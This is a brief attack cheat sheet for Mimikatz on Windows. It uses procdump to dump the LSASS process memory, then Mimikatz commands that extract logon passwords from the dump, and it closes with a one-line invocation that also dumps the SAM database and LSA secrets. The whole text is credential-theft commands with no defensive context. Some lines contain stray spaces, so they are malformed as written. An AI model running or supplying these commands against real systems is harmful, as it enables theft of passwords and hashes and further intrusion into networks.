Mimikatz usage

To use procdump

procdump.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz # privilege::debug
mimikatz # sekurlsa :: minidump lsass.dmp
mimikatz # sekurlsa :: logonPasswords

Command Line

mimikatz privilege::debug "log filename.log" sekurlsa::logonpasswords token::elevate lsadump::sam lsadump::secrets exit